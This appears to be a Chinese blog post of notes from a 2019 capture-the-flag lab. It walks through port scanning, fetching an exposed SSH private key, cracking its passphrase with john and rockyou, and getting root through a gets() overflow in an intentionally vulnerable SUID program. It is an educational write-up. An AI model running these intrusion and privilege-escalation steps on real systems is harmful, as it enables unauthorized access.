CTF 2019-7-26 笔记

第一步, nmap  -sV 192.168.0.1    扫描 服务信息

        找到已经打开的端口。

第二步, 浏览器 192.168.0.1:31337    探看页面源代码。

        找到可能的隐藏的文件。

第三步, 探测端口信息     dirb http://192.168.0.1:31337/        别忘了最后的"/"

        可以探测到隐藏的文件(浏览不到的文件)

第四步,SSH认证方式 : {'id_rsa','authorized_key','id_rsa_pub'}

     下载 http://192.168.0.1:31337/.ssh/id_rsa

     下载 http://192.168.0.1:31337/.ssh/authorized_key

第五步,  ssh -i  id_rsa 用户名  (其中用户名,可从authorized_key 中获取)

                 chmod  600 id_rsa

                 ssh -i  id_rsa  simon

第六步,  ssh2john id_rsa >rsacrack  

                 zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack    获取用户密码。

第七步      ssh -i  id_rsa  simon 然后输入第六步中的密码。

                    登录至远程主机。

第八步      切换到    /root目录 

                查看目录(目录权限可能受限)

第九步      find  /    -perm 4000 2 > /dev/null  

                   -perm  4000 表示可以有suid 权限的文件。

                   2>/dev/null 表示标准错误至null

readmessage 与 溢出

readmessage.c  如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close!   Here's another flag:
//flag2{use_the_source_luke}

int main(int argc, char *argv[]{
    char program[]="/usr/local/sbin/message";
    char buf[20];
    char authorized[]="simon";
    
    printf("what's your name ?\n");
    gets(buf);

//Only compare first five chars to save precious cycles:

if (!strncmp(authorized,buf,5))  {
    printf("Hello %s ! Here is your message:\n\n",buf);
    //This is safe as the user can't mess with the binary location:
    execve(program,null,null);
}else {
    printf("Sorry %s,you're not %s! The Internet Police have been informed of this voilation.\n",buf,authorized);

    exit(EXIT_FAILURE);

   }
}

第十步,执行readmessage,用户名xxxxx

则显示完成  (此步测试一下)

readmessage

What's your name ?

xxxxx

"Sorry xxxxx,you're not Simon!The Internet Police have been informed of this voilation.

第十一步,执行readmessage

readmessage

What's your name ?

Simon

Hello Simon! Here is your message:

Hi Simon, I hope you like our private messaging system

I'm really happy with how it worked out!

If you're interested in how it works,I've left a copy of the source code in my home directory.

-Charlie Root

第十二步:

readmessage

What's your name ?

SimonAAAAAAAAAAAAAAA/bin/sh

   ( 其中 Simon   五字符, A共有15个, 一共占 20字符,后面即溢出至program去了。

Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:

#

至此溢出完成,已跳转为root用户。

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值